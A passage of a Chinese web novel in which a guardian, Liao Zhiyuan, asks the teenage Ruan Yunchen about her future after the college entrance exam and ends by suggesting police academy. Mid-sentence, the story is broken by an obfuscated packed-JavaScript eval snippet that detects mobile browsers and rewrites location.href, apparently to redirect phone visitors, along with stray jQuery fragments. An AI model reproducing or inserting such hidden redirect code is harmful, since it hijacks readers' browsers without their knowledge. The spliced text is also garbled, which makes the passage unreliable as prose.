椅子腿在地板上拖出一道轻微的响声。客厅的光映在廖致远的侧脸上，将他的眉间的皱纹刻得更深。


    阮秋的目光随之抬起，落在他的背影上。淼淼还在沙发上小声哼着歌，完全没有注意到廖致远的动作。廖致远没有回头，只是缓步朝走廊走去，脚步轻得几乎没有声音。


    他停在阮云琛的房门前，抬手敲了敲。


    阮云琛也没想到廖致远怎么突然就来找自己了。


    他站在房间中央，目光落在书桌上摊开的练习册上，眼神带着某种稍纵即逝的游移。他没有说话，径直在离她不远的椅子上坐下，动作带着一点疲惫，但姿态依然笔直。


    廖致远没有脱掉外套，袖口还带着些夜风的凉意，隐约能闻到一点淡淡的烟草味。


    隔了很久，他才憋出来了一句：“......汉堡，挺好吃的。”


    阮云琛转过头看了他一眼，声音淡淡的：“店里最贵的，还放了新鲜炸鸡排。”


    廖致远点了点头，似乎想顺着这个话题继续下去，但终究什么也没说出来。空气里短暂地安静了几秒，只有墙上挂钟的秒针声清晰得几乎刺耳。


    “工作累不累？”他问，像是随意找了个话题，但声音里不经意地透出一点小心翼翼的味道。


    “还好，”她答得干脆利落，手指翻着笔记本的边角，“没什么特别的。”


    她知道他在铺垫，也知道他最终想问什么。但阮云琛没有主动开口，她抬起眼，看着他站在那里，像一尊随时会撤退的雕像，生硬又不安。


    沉默又拉长了几秒。


    廖致远微微抬起头，目光重新落在她身上。他似乎察觉到自己的话题兜了个远圈，但绕不回去的尴尬让他微微移开了视线。


    他沉默了片刻，终于像是下定了决心般，低声开口：“高考准备得怎么样了？”


    廖致远语气淡淡的，像是可以假装自己在问一件与他毫无关系的事情，但那淡漠中又透露出一股说不上来的尴尬。


    倒不是尴尬于问出的这个问题，却是似乎只是尴尬于自己表现得好像当真像个合格的“监护人”。


    “还行吧。”阮云琛低头写了一笔。


    廖致远的视线落在桌上摊开的试卷上，像是在寻找一个切入点。可想了半天，他也没想出什么好的办法。


    隔了会儿，他像是放弃了挣扎似的，忽地叹了口气，缓缓地开了口：“想过高考之后的打算吗？”


    这句话落下的瞬间，空气像是凝滞了一瞬。


    阮云琛停下笔，手指搭在纸面上，轻轻按住那一片被橡皮擦得发灰的地方。她没立刻回答，目光从试卷上抬起，看向廖致远，沉默了几秒。


    “没想过。”她的声音不高，却听得很清楚。


    这个问题，刚才他也问过。


    阮云琛抬眼看向他，视线短暂停留，又迅速垂下，落回试卷的边角。


    她不知道廖致远为什么突然这么问。


    他从不主动过问她的事情，甚至不擅长和她说这些——这种生疏反倒让问题显得更加突兀，让她的脑海像被打翻的墨水，一时涌满了莫名的情绪。


    “想过”这两个字在她脑中闪过，却很快被她抹去。


    她的未来从来都是模糊的，像一张白纸上落满了斑驳的污点，轻轻一擦，就什么都没有了。


    大学，这个她刻意绕开的选项，偶尔曾在深夜的灯光下浮现，却在现实的重量面前迅速消失。


    她不否认她曾想过，可那些念头太短暂了，短暂到她来不及认真触碰，就已经主动丢开。


    高考之后呢？


    这个问题像是一道看不见的锁，深嵌在她脑海的最深处。


    她甚至不敢用力去碰，害怕稍一用力，那些勉强维系的平衡会瞬间崩塌。


    家里这点开支、淼淼的学费、阮秋的日常开销……这些沉甸甸的现实，像是挂在脖子上的铁链，不允许她做更多的奢望。


    她总不能什么都依赖廖致远。


    这个念头像一道冷风，从心底最深的地方刮过，扬起一层细碎的尘埃。阮云琛轻轻呼了口气，试图将它压下去，但那种窒息感仍然顽固地贴在胸口。


    她不擅长依赖别人，甚至可以说，从来没有真正依赖过谁。


    从九岁那年起，她学会了如何用自己的方式保护淼淼，学会了如何用沉默和冷硬去换取喘息的机会。


    阮云琛的路总是直的，直得像被钉死的轨迹——没有岔口，没有退路，也没有人能替她扛着那些沉甸甸的担子。


    现在却不一样了。


    廖致远的出现，像是一堵墙，突兀却无可回避。


    他替她解决了高昂的学费，替阮秋办了合法身份，甚至替她们三人撑起了一个家。可这并不意味着，她可以心安理得地将所有的责任都推到他肩上。


    善意是有边界的，他已经做得够多了，甚至多到她无法坦然面对自己。


    阮云琛的手指微微蜷缩了一下，像是在抵挡着什么侵入脑海的念头。那种隐隐的负罪感又回来了，像是一根藏在心底的刺，扎得她一阵阵发紧。


    廖致远微微皱眉，像是没想到她会回答得这么直接。他的手放在膝盖上，掌心朝下，手指缓缓收紧了一点，随即又放开。


    “没想过？”他重复了一遍，声音里听不出质疑，倒更像是在确认。


    阮云琛点了点头，语气平静，却带着一点克制：“还没时间想。现在能过一天算一天。”


    话一出口，房间里的空气像是被什么压了一下，显得更加安静了。


    廖致远低下头，目光停在她的手上，那本应该细嫩的女孩的手，却是骨节分明，布满了细小的伤疤。


    廖致远知道，阮云琛有说不完的秘密。


    但他也知道，她只是个......


    只是个没有选择的孩子。


    她面前是一条满布荆棘的藤蔓，而身后，是令人窒息的深渊。


    往前走会伤痕累累，往后走会粉身碎骨。


    这样的选择并不能称之为选择。


    任何一个想活下去的人，都会咬牙爬上那藤蔓，即使刺进掌心的荆棘让血顺着指缝流下，即使每一步都被扎得千疮百孔。但......总归活着。


    活着，就还有机会。


    廖致远深吸了一口气，觉得那空气中带着一点难以言喻的沉重感。


    ——这种生活，不该是一个孩子的生活。


    可阮云琛早就不是孩子了。


    她从她的童年里挣脱出来，带着那种冷硬得过于早熟的表情，硬生生地将自己捏成了一个大人模样。


    他从未问过她的过去，也不打算问。


    秘密这种东西，越是揭开，就越像一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109535|158973||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    场溃烂。廖致远懂得那种溃烂的滋味，也知道无论揭开与否，她都只能继续向前走。


    但即使如此，他依然觉得，生活应该有另一种可能。


    沉默在空气中绵延了几秒，廖致远抬起了头，看着阮云琛的侧脸，那是一张再普通不过的脸，却因为岁月的压迫，多了点沉寂和锋利的意味。


    阮云琛从不提过去，也很少谈未来。


    她的脚步一向踩得很实，实得像踩在了坚硬的石头上。廖致远觉得，这样没什么错。


    可是这并不意味着她可以不去想未来。


    她总该有点别的东西——别的，能够点燃那石头之下火光的东西。


    “高考之后，”廖致远缓缓开口，声音比刚才低了一些，“你总得有点方向。”


    “方向……”阮云琛喃喃着重复了一遍，像是在咀嚼这个词的分量。她垂下目光，盯着桌上的试卷，思绪却早已脱离了这些熟悉的笔迹，飘远到了她从未去过的地方。


    廖致远看着她，没有说话。他的目光淡淡的，但带着一种无法忽视的重量。


    屋子里再次陷入寂静。


    阮云琛低头盯着自己的手，指尖无意识地摩挲着笔杆。她的脑海里浮现出廖致远提到“打算”时的语气，那种不动声色的关切，和她过去听过的任何一种关心都不一样。


    ——打算。


    未来。


    这些词听起来很远，却又像近在咫尺，压得她喘不过气。


    阮云琛从未认真想过这些问题。过去的生活里，未来这个词显得太过奢侈。她能活下来，已经用了全力。


    她知道廖致远在等她的回答，也知道他说得对，但这个词对她来说，太沉了。


    她活到现在，像是踩着一根从未断开的绳索，一头连接着过去的黑暗与负重，另一头却没有尽头，只能一直向前。


    她从没去想绳索的尽头在哪里，甚至不敢去想。一旦停下来，绳子或许会断，人也会掉下去，摔得粉身碎骨。


    从前她害怕宋祈，憎恶和安堂，但她不得不承认，那时候的路清晰得多。只要听话，只要能完成那些任务，她就能换来弟妹的一顿饭、一张床、一个相对安全的夜晚。


    而现在，宋祈没了，和安堂倒了。她站在绳索的某一段，前后都是空荡荡的，甚至连过去那种明确的恐惧都模糊了。


    她还不到十八岁。


    廖致远的监护对她来说，是一片临时的遮雨伞，但她知道伞不可能永远撑在那里。一旦她成年，这伞就会收起，而她得重新为自己和弟妹撑起一片天。


    大学？


    她不否认她曾想过，但很快就放弃了。大学意味着三四年的时间、远离这个家、可能无法承担起生活的重压。


    ——这根本就不是她的选择。


    阮云琛深吸了一口气，手指轻轻敲了敲桌面，像是在给自己一个节奏。


    她一直都知道方向的重要性，但有些人注定没有选择的余地，她不是在路上迷茫，而是压根没有路可选。


    忽地，廖致远的椅子轻轻响了一下。


    他换了个姿势。


    屋里只有两人，安静得可以听到墙角的风撞在窗玻璃上的声音。


    “警校。”廖致远的声音忽然响起，低而平静，像一颗石子投入湖面。


    阮云琛愣住了，猛地抬头看向他。